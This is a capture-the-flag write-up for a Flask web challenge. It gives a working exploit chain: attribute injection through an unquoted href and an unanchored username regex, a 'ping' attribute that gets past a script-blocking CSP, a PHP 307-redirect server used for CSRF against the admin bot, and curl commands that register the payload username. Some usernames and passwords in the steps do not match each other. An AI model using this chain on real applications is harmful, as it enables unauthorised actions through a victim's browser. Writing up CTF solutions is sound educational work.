Challenge
I stumbled over this secret ping pong club. They don’t appear to be very approving…
Flag format: S2G{…}
<source-code>
(download and try yourself:))
Solution
The challenge is a flask webapp that lets the user register a user. The admin bot checks registrations and denies them automatically. Only the admin can approve registrations, and we get the flag if we trick the admin to approve our user.
The only thing that looked interesting in the application was the template used to generate the admin dashboard. Here, next_application
is swapped out with our username. What’s interesting is that the path is not encapsulated in "
. This makes my syntax highlighter mad.
snipet from templates/admin.html
<a href=/admin/view/{{ next_application }} class="view-application">View next application</a>
how it lookes with username: martcl
<a href=/admin/view/martcl class="view-application">View next application</a>
We can use the bad validation of username uppon registration to create some interesting results.
When registering a user, a username is validated with regex and basic string length checks. Python regex only maches until the regex condition is met, so we can use this to our advantage. Creating a username martcl tag=1
, it will mach martcl
as true and thereby validating the whole string as true.
username validation on server
elif len(username) < 6:
flash('Username is too short.', 'error')
elif len(username) > 36:
flash('Username is too long.', 'error')
elif not re.match('[A-Za-z0-9_]{6,36}', username):
flash('Invalid characters in username.', 'error')
We can use this to add arbitrary atteributes on the a-tag. Ahhh! let’s add an onload
event to the a-tag. This will trigger when the page is loaded… but the webapp has a CSP header that disallows javascript in it’s entirety.
@app.after_request
def csp(resp):
resp.headers['Content-Security-Policy'] = "script-src 'none'"
return resp
What we can do instead is to add a html little known attribute called ping
. This will make the browser do a POST request to the url specified in the attribute. This does not work in firefox, but it works in chrome. Lucky me! The admin checker uses puppeteer, which is basicly a headless chrome browser.
Crafting a username aaaaaa ping=/api/applications/approve/martcl
would have worked, if it wasn’t for the max length restriction of 36 characters (this payload is 44).
I since there was no CSRF protection, I opted to create my own webserver that would redirect the admin to the local webserver uppon a post request. (I used a 307 redirect, since the admin checker uses a POST request to approve users)
My webserver in PHP
<?php
error_log($_SERVER['REQUEST_METHOD'] . ' ' . $_SERVER['REQUEST_URI']);
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
header('Location: http://webapp:1337/api/applications/approve/martin', true, 307);
exit;
}
?>
<h1>
Exploit
</h1>
<p>
Note to bypassers:
This page is used to win the s2g challenge ping pong.
</p>
The entire exploit chain is ready. I just need to craft a username that uses the ip adress of my webserver.
Exploit chain
USERNAME="martcl"
PASSWORD="rph6ybt1QTP_gqx_nkr"
# step 1. register a user
curl 'http://<challenge-website>/register' -X POST --data "username=$USERNAME&password=$PASSWORD&motivation=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
# Step 2. change the exploit website to approve the right user. Run the server
# php -S 0.0.0.0:80 index.php
# Step 3. Get my ipv4 address
# ifconfig
# Step 4. Approve the user
curl 'http://<challenge-website>/register' -X POST --data 'username=aaaaa ping=http://<my-ipv4>&password=rph6ybt1QTQ_gqx_nkw&motivation=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
# Step 5. Login to get the flag
# (ez just using the website)
flag: S2G{32c1c8f26f532babb8bf6c098d3b4815}